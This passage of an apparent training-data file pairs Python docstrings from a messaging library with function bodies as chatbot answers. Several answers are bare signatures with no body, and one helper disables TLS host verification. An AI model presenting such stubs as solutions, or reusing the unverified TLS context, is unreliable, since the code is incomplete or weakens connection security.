NOTIFICATION_NS.notifySmsDeliveryReceipt(\n NOTIFICATION_NS.correlator(correlator),\n NOTIFICATION_NS.deliveryStatus(\n L.address(format_address(normalize_address(address))),\n L.deliveryStatus(delivery_status.name)))", "conversation_id": 698, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 699, "message_id": 0 }, { "role": "user", "content": "Logs a message via vumi.log .\nSub-class should override this if they wish to log messages\nelsewhere. The `api` parameter is provided for use by such\nsub-classes.\n\nThe `log` method should always return a deferred..", "conversation_id": 699, "message_id": 1 }, { "role": "assistant", "content": "def log(self, api, msg, level):\n return succeed(log.msg(msg, logLevel=level))", "conversation_id": 699, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 700, "message_id": 0 }, { "role": "user", "content": "Use ClientContextFactory directly and set the method if necessary.\nThis will perform no host verification at all..", "conversation_id": 700, "message_id": 1 }, { "role": "assistant", "content": "def _get_noverify_context(self):\n from twisted.internet.ssl import ClientContextFactory\n context_factory = ClientContextFactory()\n if self.ssl_method is not None:\n context_factory.method = self.ssl_method\n return context_factory.getContext()", "conversation_id": 700, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 701, "message_id": 0 }, { "role": "user", "content": "Turn an ElementTree element into an object with named params.\nNot recursive!.", "conversation_id": 701, "message_id": 1 }, { "role": "assistant", "content": "def receipt_to_namedtuple(element):\n d = receipt_element_to_dict(element)\n klass = namedtuple(element.tag, d.keys())\n return klass._make(d.values())", "conversation_id": 701, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 702, "message_id": 0 }, { "role": "user", "content": "Returns an :class:`SmsSyncMsgInfo` instance for this request.\nMay return a deferred that yields the actual result to its callback..", "conversation_id": 702, "message_id": 1 }, { "role": "assistant", "content": "def msginfo_for_request(self, request):\n raise NotImplementedError(\"Sub-classes should implement\"\n \" msginfo_for_request\")", "conversation_id": 702, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 703, "message_id": 0 }, { "role": "user", "content": "Returns an :class:`SmsSyncMsgInfo` instance for this outbound\nmessage.\n\nMay return a deferred that yields the actual result to its callback..", "conversation_id": 703, "message_id": 1 }, { "role": "assistant", "content": "def msginfo_for_message(self, msg):\n raise NotImplementedError(\"Sub-classes should implement\"\n \" msginfo_for_message\")", "conversation_id": 703, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 704, "message_id": 0 }, { "role": "user", "content": "Update an outbound message's payload's transport_metadata to allow\nmsginfo to be reconstructed from replies..", "conversation_id": 704, "message_id": 1 }, { "role": "assistant", "content": "def add_msginfo_metadata(self, payload, msginfo):\n raise NotImplementedError(\"Sub-class should implement\"\n \" add_msginfo_metadata\")", "conversation_id": 704, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 705, "message_id": 0 }, { "role": "user", "content": "Gathers pending messages and sends a response including them..", "conversation_id": 705, "message_id": 1 }, { "role": "assistant", "content": "def _respond_with_pending_messages(self, msginfo, message_id, **kw):\n outbound_ids = []\n outbound_messages = []\n account_key = self.key_for_account(msginfo.account_id)\n while True:\n msg_json = yield self.redis.lpop(account_key)\n if msg_json is None:\n break\n msg = TransportUserMessage.from_json(msg_json)\n outbound_ids.append(msg['message_id'])\n outbound_messages.append({'to': msg['to_addr'],\n 'message': msg['content'] or ''})\n yield self._send_response(message_id, messages=outbound_messages, **kw)\n for outbound_id in outbound_ids:\n yield self.publish_ack(user_message_id=outbound_id,\n sent_message_id=outbound_id)", "conversation_id": 705, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 706, "message_id": 0 }, { "role": "user", "content": "This is overridden in a subclass..", "conversation_id": 706, "message_id": 1 }, { "role": "assistant", "content": "def _get_transport_config(self, config):\n cfg = self.default_config.copy()\n cfg.update(config)\n return cfg", "conversation_id": 706, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 707, "message_id": 0 }, { "role": "user", "content": "The test cases assume the new config, this flattens the\nconfig key word arguments value to match an old config\nlayout without the processor configs..", "conversation_id": 707, "message_id": 1 }, { "role": "assistant", "content": "def _get_transport_config(self, config):\n cfg = self.default_config.copy()\n processor_config_keys = [\n 'submit_short_message_processor_config',\n 'deliver_short_message_processor_config',\n 'delivery_report_processor_config',\n ]\n for config_key in processor_config_keys:\n processor_config = config.pop(config_key, {})\n for name, value in processor_config.items():\n cfg[name] = value\n cfg.update(config)\n return cfg", "conversation_id": 707, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 708, "message_id": 0 }, { "role": "user", "content": "Create a SOAP body containing a SOAP fault..", "conversation_id": 708, "message_id": 1 }, { "role": "assistant", "content": "def _make_fault(*a, **kw):\n return SOAP_ENV.Body(soap_fault(*a, **kw))", "conversation_id": 708, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 709, "message_id": 0 }, { "role": "user", "content": "Construct a manager from a dictionary of options..", "conversation_id": 709, "message_id": 1 }, { "role": "assistant", "content": "def _manager_from_config(cls, config, manager_config):\n return cls(VumiRedis(**config), **manager_config)", "conversation_id": 709, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 710, "message_id": 0 }, { "role": "user", "content": "Delete *ALL* keys whose names start with this manager's key prefix.\nUse only in tests..", "conversation_id": 710, "message_id": 1 }, { "role": "assistant", "content": "def _purge_all(self):\n for key in self.keys():\n self.delete(key)", "conversation_id": 710, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 711, "message_id": 0 }, { "role": "user", "content": "A version of getPage that uses QuietHTTPClientFactory..", "conversation_id": 711, "message_id": 1 }, { "role": "assistant", "content": "def quiet_get_page(url, contextFactory=None, *args, **kwargs):\n return _makeGetterFactory(\n url,\n QuietHTTPClientFactory,\n contextFactory=contextFactory,\n *args, **kwargs).deferred", "conversation_id": 711, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 712, "message_id": 0 }, { "role": "user", "content": "Construct a custom raven client and transport-set pair.\nThe raven client assumes that sends via transports return success or\nfailure immediate in a blocking fashion and doesn't provide transports\naccess to the client.\n\nWe circumvent this by constructing a once-off transport class and\nraven client pair that work together. Instances of the transport feed\ninformation back success and failure back to the client instance once\ndeferreds complete.\n\nPull-requests with better solutions welcomed..", "conversation_id": 712, "message_id": 1 }, { "role": "assistant", "content": "def vumi_raven_client(dsn, log_context_sentinel=None):\n import raven\n from raven.transport.base import TwistedHTTPTransport\n from raven.transport.registry import TransportRegistry\n remaining_deferreds = set()\n if log_context_sentinel is None:\n log_context_sentinel = DEFAULT_LOG_CONTEXT_SENTINEL\n log_context = {log_context_sentinel: True}\n class VumiRavenHTTPTransport(TwistedHTTPTransport):\n scheme = ['http', 'https']\n def _get_page(self, data, headers):\n d = quiet_get_page(self._url, method='POST', postdata=data,\n headers=headers)\n self._track_deferred(d)\n self._track_client_state(d)\n return d\n def _track_deferred(self, d):\n remaining_deferreds.add(d)\n d.addBoth(self._untrack_deferred, d)\n def _untrack_deferred(self, result, d):\n remaining_deferreds.discard(d)\n return result\n def _track_client_state(self, d):\n d.addCallbacks(self._set_client_success, self._set_client_fail)\n def _set_client_success(self, result):\n client.state.set_success()\n return result\n def _set_client_fail(self, result):\n client.state.set_fail()\n return result\n def send(self, data, headers):\n d = self._get_page(data, headers)\n d.addErrback(lambda f: log.err(f, **log_context))\n class VumiRavenClient(raven.Client):\n _registry = TransportRegistry(transports=[\n VumiRavenHTTPTransport\n ])\n def teardown(self):\n return DeferredList(remaining_deferreds)\n client = VumiRavenClient(dsn)\n return client", "conversation_id": 712, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 713, "message_id": 0 }, { "role": "user", "content": "Run once for each key.\nMay return either the name of the key (if the key should\nbe processed by later tasks), the new name of the key (if\nthe key was renamed and should be processed by later tasks)\nor ``None`` (if the key has been deleted or should not be\nprocessed by further tasks)..", "conversation_id": 713, "message_id": 1 }, { "role": "assistant", "content": "def process_key(self, key):\n return key", "conversation_id": 713, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 714, "message_id": 0 }, { "role": "user", "content": "Print the given string and then a newline..", "conversation_id": 714, "message_id": 1 }, { "role": "assistant", "content": "def emit(self, s):\n self.stdout.write(s)\n self.stdout.write(\"\\n\")", "conversation_id": 714, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 715, "message_id": 0 }, { "role": "user", "content": "Apply all tasks to all keys..", "conversation_id": 715, "message_id": 1 }, { "role": "assistant", "content": "def run(self):\n for task in self.tasks:\n task.init(self, self.redis)\n for task in self.tasks:\n task.before()\n for key in scan_keys(self.redis, self.match_pattern):\n for task in self.tasks:\n key = task.process_key(key)\n if key is None:\n break\n for task in self.tasks:\n task.after()", "conversation_id": 715, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 716, "message_id": 0 }, { "role": "user", "content": "Add any needed HTTP headers to the request.\nOften used to set the Content-Type header..", "conversation_id": 716, "message_id": 1 }, { "role": "assistant", "content": "def add_http_headers(request):", "conversation_id": 716, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 717, "message_id": 0 }, { "role": "user", "content": "Write any header bytes that need to be written to the request before\nmessages..", "conversation_id": 717, "message_id": 1 }, { "role": "assistant", "content": "def write_row_header(request):", "conversation_id": 717, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 718, "message_id": 0 }, { "role": "user", "content": "Perform teardown required for router..", "conversation_id": 718, "message_id": 1 }, { "role": "assistant", "content": "def teardown_routing(self):\n pass", "conversation_id": 718, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 719, "message_id": 0 }, { "role": "user", "content": "Dispatch an inbound user message to a publisher..", "conversation_id": 719, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_inbound_message(self, msg):\n raise NotImplementedError()", "conversation_id": 719, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 720, "message_id": 0 }, { "role": "user", "content": "Dispatch an event to a publisher..", "conversation_id": 720, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_inbound_event(self, msg):\n raise NotImplementedError()", "conversation_id": 720, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 721, "message_id": 0 }, { "role": "user", "content": "Dispatch an outbound user message to a publisher..", "conversation_id": 721, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_outbound_message(self, msg):\n raise NotImplementedError()", "conversation_id": 721, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 722, "message_id": 0 }, { "role": "user", "content": "Explicitly throw away events, because transports can't receive them..", "conversation_id": 722, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_inbound_event(self, msg):\n pass", "conversation_id": 722, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 723, "message_id": 0 }, { "role": "user", "content": "If we're only hooking transports up to each other, there are no\noutbound messages..", "conversation_id": 723, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_outbound_message(self, msg):\n pass", "conversation_id": 723, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 724, "message_id": 0 }, { "role": "user", "content": "Start and return the given MockHttpServer with suitable cleanup..", "conversation_id": 724, "message_id": 1 }, { "role": "assistant", "content": "def start_mock_server(self, mock_server):\n self.add_cleanup(mock_server.stop)\n d = mock_server.start()\n return d.addCallback(lambda _: mock_server)", "conversation_id": 724, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 725, "message_id": 0 }, { "role": "user", "content": "Creates a manager, purges all the riak data with it, then closes it..", "conversation_id": 725, "message_id": 1 }, { "role": "assistant", "content": "def purge_txriak(self):\n manager = self.create_txriak_manager()\n yield manager.purge_all()\n yield manager.close_manager()", "conversation_id": 725, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 726, "message_id": 0 }, { "role": "user", "content": "Creates and returns a TxRiakManager, handling cleanup..", "conversation_id": 726, "message_id": 1 }, { "role": "assistant", "content": "def create_txriak_manager(self):\n try:\n from vumi.persist.txriak_manager import TxRiakManager\n except ImportError, e:\n import_skip(e, 'riak', 'riak')\n self.add_cleanup(self.purge_txriak)\n return TxRiakManager.from_config({'bucket_prefix': 'test.'})", "conversation_id": 726, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 727, "message_id": 0 }, { "role": "user", "content": "Creates a manager, purges all the riak data with it, then closes it..", "conversation_id": 727, "message_id": 1 }, { "role": "assistant", "content": "def purge_riak(self):\n manager = self.create_riak_manager()\n manager.purge_all()\n manager.close_manager()", "conversation_id": 727, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 728, "message_id": 0 }, { "role": "user", "content": "Creates and returns a RiakManager, handling cleanup..", "conversation_id": 728, "message_id": 1 }, { "role": "assistant", "content": "def create_riak_manager(self):\n try:\n from vumi.persist.riak_manager import RiakManager\n except ImportError, e:\n import_skip(e, 'riak', 'riak')\n self.add_cleanup(self.purge_riak)\n return RiakManager.from_config({'bucket_prefix': 'test.'})", "conversation_id": 728, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 729, "message_id": 0 }, { "role": "user", "content": "Set the TTL on multipart info hash to something small. We don't delete\nthis in case there's still an in-flight operation that will recreate it\nwithout a TTL..", "conversation_id": 729, "message_id": 1 }, { "role": "assistant", "content": "def expire_multipart_info(self, message_id):\n expiry = self.config.completed_multipart_info_expiry\n return self.redis.expire(multipart_info_key(message_id), expiry)", "conversation_id": 729, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 730, "message_id": 0 }, { "role": "user", "content": "Does various setup work in order to be able to accurately\nstore cached data for a batch_id.\n\nA call to this isn't necessary but good for general house keeping..", "conversation_id": 730, "message_id": 1 }, { "role": "assistant", "content": "def batch_start(self, batch_id, use_counters=True):\n yield self.redis.sadd(self.batch_key(), batch_id)\n yield self.init_status(batch_id)\n if use_counters:\n yield self.redis.set(self.inbound_count_key(batch_id), 0)\n yield self.redis.set(self.outbound_count_key(batch_id), 0)\n yield self.redis.set(self.event_count_key(batch_id), 0)", "conversation_id": 730, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 731, "message_id": 0 }, { "role": "user", "content": "Removes all cached values for the given batch_id, useful before\na reconciliation happens to ensure that we start from scratch.\n\nThis will reset all counters back to zero and will increment\nthem as messages are received. If your UI depends on your\ncached values your UI values might be off while the\nreconciliation is taking place..", "conversation_id": 731, "message_id": 1 }, { "role": "assistant", "content": "def clear_batch(self, batch_id):\n yield self.redis.delete(self.inbound_key(batch_id))\n yield self.redis.delete(self.inbound_count_key(batch_id))\n yield self.redis.delete(self.outbound_key(batch_id))\n yield self.redis.delete(self.outbound_count_key(batch_id))\n yield self.redis.delete(self.event_key(batch_id))\n yield self.redis.delete(self.event_count_key(batch_id))\n yield self.redis.delete(self.status_key(batch_id))\n yield self.redis.delete(self.to_addr_key(batch_id))\n yield self.redis.delete(self.from_addr_key(batch_id))\n yield self.redis.srem(self.batch_key(), batch_id)", "conversation_id": 731, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 732, "message_id": 0 }, { "role": "user", "content": "Add an outbound message to the cache for the given batch_id.", "conversation_id": 732, "message_id": 1 }, { "role": "assistant", "content": "def add_outbound_message(self, batch_id, msg):\n timestamp = self.get_timestamp(msg['timestamp'])\n yield self.add_outbound_message_key(\n batch_id, msg['message_id'], timestamp)\n yield self.add_to_addr(batch_id, msg['to_addr'])", "conversation_id": 732, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 733, "message_id": 0 }, { "role": "user", "content": "Add a message key, weighted with the timestamp to the batch_id..", "conversation_id": 733, "message_id": 1 }, { "role": "assistant", "content": "def add_outbound_message_key(self, batch_id, message_key, timestamp):\n new_entry = yield self.redis.zadd(self.outbound_key(batch_id), **{\n message_key.encode('utf-8'): timestamp,\n })\n if new_entry:\n yield self.increment_event_status(batch_id, 'sent')\n uses_counters = yield self.uses_counters(batch_id)\n if uses_counters:\n yield self.redis.incr(self.outbound_count_key(batch_id))\n yield self.truncate_outbound_message_keys(batch_id)", "conversation_id": 733, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 734, "message_id": 0 }, { "role": "user", "content": "Add a count to all outbound message counters. (Used for recon.).", "conversation_id": 734, "message_id": 1 }, { "role": "assistant", "content": "def add_outbound_message_count(self, batch_id, count):\n yield self.increment_event_status(batch_id, 'sent', count)\n yield self.redis.incr(self.outbound_count_key(batch_id), count)", "conversation_id": 734, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 735, "message_id": 0 }, { "role": "user", "content": "Add a count to all relevant event counters. (Used for recon.).", "conversation_id": 735, "message_id": 1 }, { "role": "assistant", "content": "def add_event_count(self, batch_id, status, count):\n yield self.increment_event_status(batch_id, status, count)\n yield self.redis.incr(self.event_count_key(batch_id), count)", "conversation_id": 735, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 736, "message_id": 0 }, { "role": "user", "content": "Add an event to the cache for the given batch_id.", "conversation_id": 736, "message_id": 1 }, { "role": "assistant", "content": "def add_event(self, batch_id, event):\n event_id = event['event_id']\n timestamp = self.get_timestamp(event['timestamp'])\n new_entry = yield self.add_event_key(batch_id, event_id, timestamp)\n if new_entry:\n event_type = event['event_type']\n yield self.increment_event_status(batch_id, event_type)\n if event_type == 'delivery_report':\n yield self.increment_event_status(\n batch_id, '%s.%s' % (event_type, event['delivery_status']))", "conversation_id": 736, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 737, "message_id": 0 }, { "role": "user", "content": "Add the event key to the set of known event keys.\nReturns 0 if the key already exists in the set, 1 if it doesn't..", "conversation_id": 737, "message_id": 1 }, { "role": "assistant", "content": "def add_event_key(self, batch_id, event_key, timestamp):\n uses_event_counters = yield self.uses_event_counters(batch_id)\n if uses_event_counters:\n new_entry = yield self.redis.zadd(self.event_key(batch_id), **{\n event_key.encode('utf-8'): timestamp,\n })\n if new_entry:\n yield self.redis.incr(self.event_count_key(batch_id))\n yield self.truncate_event_keys(batch_id)\n returnValue(new_entry)\n else:\n returnValue(False)\n new_entry = yield self.redis.sadd(\n self.event_key(batch_id), event_key)\n returnValue(new_entry)", "conversation_id": 737, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 738, "message_id": 0 }, { "role": "user", "content": "Increment the status for the given event_type for the given batch_id..", "conversation_id": 738, "message_id": 1 }, { "role": "assistant", "content": "def increment_event_status(self, batch_id, event_type, count=1):\n return self.redis.hincrby(self.status_key(batch_id), event_type, count)", "conversation_id": 738, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 739, "message_id": 0 }, { "role": "user", "content": "Add an inbound message to the cache for the given batch_id.", "conversation_id": 739, "message_id": 1 }, { "role": "assistant", "content": "def add_inbound_message(self, batch_id, msg):\n timestamp = self.get_timestamp(msg['timestamp'])\n yield self.add_inbound_message_key(\n batch_id, msg['message_id'], timestamp)\n yield self.add_from_addr(batch_id, msg['from_addr'])", "conversation_id": 739, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 740, "message_id": 0 }, { "role": "user", "content": "Add a message key, weighted with the timestamp to the batch_id.", "conversation_id": 740, "message_id": 1 }, { "role": "assistant", "content": "def add_inbound_message_key(self, batch_id, message_key, timestamp):\n new_entry = yield self.redis.zadd(self.inbound_key(batch_id), **{\n message_key.encode('utf-8'): timestamp,\n })\n if new_entry:\n uses_counters = yield self.uses_counters(batch_id)\n if uses_counters:\n yield self.redis.incr(self.inbound_count_key(batch_id))\n yield self.truncate_inbound_message_keys(batch_id)", "conversation_id": 740, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 741, "message_id": 0 }, { "role": "user", "content": "Add a count to all inbound message counters. (Used for recon.).", "conversation_id": 741, "message_id": 1 }, { "role": "assistant", "content": "def add_inbound_message_count(self, batch_id, count):\n yield self.redis.incr(self.inbound_count_key(batch_id), count)", "conversation_id": 741, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 742, "message_id": 0 }, { "role": "user", "content": "Add a from_addr to this batch_id using Redis's HyperLogLog\nfunctionality. Generally this information is set when\n`add_inbound_message()` is called..", "conversation_id": 742, "message_id": 1 }, { "role": "assistant", "content": "def add_from_addr(self, batch_id, from_addr):\n return self.redis.pfadd(\n self.from_addr_key(batch_id), from_addr.encode('utf-8'))", "conversation_id": 742, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 743, "message_id": 0 }, { "role": "user", "content": "Return count of the unique from_addrs in this batch. Note that the\nreturned count is not exact..", "conversation_id": 743, "message_id": 1 }, { "role": "assistant", "content": "def count_from_addrs(self, batch_id):\n return self.redis.pfcount(self.from_addr_key(batch_id))", "conversation_id": 743, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 744, "message_id": 0 }, { "role": "user", "content": "Return count of the unique to_addrs in this batch. Note that the\nreturned count is not exact..", "conversation_id": 744, "message_id": 1 }, { "role": "assistant", "content": "def count_to_addrs(self, batch_id):\n return self.redis.pfcount(self.to_addr_key(batch_id))", "conversation_id": 744, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 745, "message_id": 0 }, { "role": "user", "content": "Return the count of the unique inbound message keys for this batch_id.", "conversation_id": 745, "message_id": 1 }, { "role": "assistant", "content": "def count_inbound_message_keys(self, batch_id):\n if not (yield self.uses_counters(batch_id)):\n returnValue((yield self.inbound_message_keys_size(batch_id)))\n count = yield self.inbound_message_count(batch_id)\n returnValue(count)", "conversation_id": 745, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 746, "message_id": 0 }, { "role": "user", "content": "Return the count of the unique outbound message keys for this batch_id.", "conversation_id": 746, "message_id": 1 }, { "role": "assistant", "content": "def count_outbound_message_keys(self, batch_id):\n if not (yield self.uses_counters(batch_id)):\n returnValue((yield self.outbound_message_keys_size(batch_id)))\n count = yield self.outbound_message_count(batch_id)\n returnValue(count)", "conversation_id": 746, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 747, "message_id": 0 }, { "role": "user", "content": "Return the count of the unique event keys for this batch_id.", "conversation_id": 747, "message_id": 1 }, { "role": "assistant", "content": "def count_event_keys(self, batch_id):\n uses_event_counters = yield self.uses_event_counters(batch_id)\n if uses_event_counters:\n count = yield self.event_count(batch_id)\n returnValue(count)\n else:\n count = yield self.redis.scard(self.event_key(batch_id))\n returnValue(count)", "conversation_id": 747, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 748, "message_id": 0 }, { "role": "user", "content": "Calculate the number of messages seen in the last `sample_time` amount\nof seconds..", "conversation_id": 748, "message_id": 1 }, { "role": "assistant", "content": "def count_inbound_throughput(self, batch_id, sample_time=300):\n last_seen = yield self.redis.zrange(\n self.inbound_key(batch_id), 0, 0, desc=True,\n withscores=True)\n if not last_seen:\n returnValue(0)\n [(latest, timestamp)] = last_seen\n count = yield self.redis.zcount(\n self.inbound_key(batch_id), timestamp - sample_time, timestamp)\n returnValue(int(count))", "conversation_id": 748, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 749, "message_id": 0 }, { "role": "user", "content": "Calculate the number of messages seen in the last `sample_time` amount\nof seconds..", "conversation_id": 749, "message_id": 1 }, { "role": "assistant", "content": "def count_outbound_throughput(self, batch_id, sample_time=300):\n last_seen = yield self.redis.zrange(\n self.outbound_key(batch_id), 0, 0, desc=True, withscores=True)\n if not last_seen:\n returnValue(0)\n [(latest, timestamp)] = last_seen\n count = yield self.redis.zcount(\n self.outbound_key(batch_id), timestamp - sample_time, timestamp)\n returnValue(int(count))", "conversation_id": 749, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 750, "message_id": 0 }, { "role": "user", "content": "Store the inbound query results for a query that was started with\n`start_inbound_query`. Internally this grabs the timestamps from\nthe cache (there is an assumption that it has already been reconciled)\nand orders the results accordingly..", "conversation_id": 750, "message_id": 1 }, { "role": "assistant", "content": "def store_query_results(self, batch_id, token, keys, direction,\n ttl=None):\n ttl = ttl or self.DEFAULT_SEARCH_RESULT_TTL\n result_key = self.search_result_key(batch_id, token)\n if direction == 'inbound':\n score_set_key = self.inbound_key(batch_id)\n elif direction == 'outbound':\n score_set_key = self.outbound_key(batch_id)\n else:\n raise MessageStoreCacheException('Invalid direction')\n for key in keys:\n timestamp = yield self.redis.zscore(score_set_key, key)\n yield self.redis.zadd(result_key, **{\n key.encode('utf-8'): timestamp,\n })\n yield self.redis.expire(result_key, ttl)\n yield self.redis.srem(self.search_token_key(batch_id), token)", "conversation_id": 750, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 751, "message_id": 0 }, { "role": "user", "content": "Handle a delivery report PDU from the networks.\n\nAll processors should implement this even if it does nothing..", "conversation_id": 751, "message_id": 1 }, { "role": "assistant", "content": "def handle_delivery_report_pdu(pdu_data):", "conversation_id": 751, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 752, "message_id": 0 }, { "role": "user", "content": "Handle an unpacked delivery report from the networks.\nThis can happen with certain SMSCs that don't set the necessary\ndelivery report flags on a PDU. As a result we only detect the DR by\nmatching a received SM against a predefined regex..", "conversation_id": 752, "message_id": 1 }, { "role": "assistant", "content": "def handle_delivery_report_content(pdu_data):", "conversation_id": 752, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 753, "message_id": 0 }, { "role": "user", "content": "Handle a short message PDU from the networks after it has been\nre-assembled and decoded.\n\n\n\nAll processors should implement this even if it does nothing..", "conversation_id": 753, "message_id": 1 }, { "role": "assistant", "content": "def handle_short_message_pdu(pdu):", "conversation_id": 753, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 754, "message_id": 0 }, { "role": "user", "content": "Handle a part of a multipart PDU.\n\nAll processors should implement this even if it does nothing..", "conversation_id": 754, "message_id": 1 }, { "role": "assistant", "content": "def handle_multipart_pdu(pdu):", "conversation_id": 754, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 755, "message_id": 0 }, { "role": "user", "content": "Handle a USSD pdu.\n\nIt is likely that the USSD bits of this Interface will move to\nits own Interface implementation once work starts on an USSD over\nSMPP implementation.\n\nAll processors should implement this even if it does nothing..", "conversation_id": 755, "message_id": 1 }, { "role": "assistant", "content": "def handle_ussd_pdu(pdu):", "conversation_id": 755, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 756, "message_id": 0 }, { "role": "user", "content": "Decode a byte string and return the unicode string for it according\nto the specified data coding..", "conversation_id": 756, "message_id": 1 }, { "role": "assistant", "content": "def dcs_decode(obj, data_coding):", "conversation_id": 756, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 757, "message_id": 0 }, { "role": "user", "content": "Handle an outbound message from Vumi by calling the 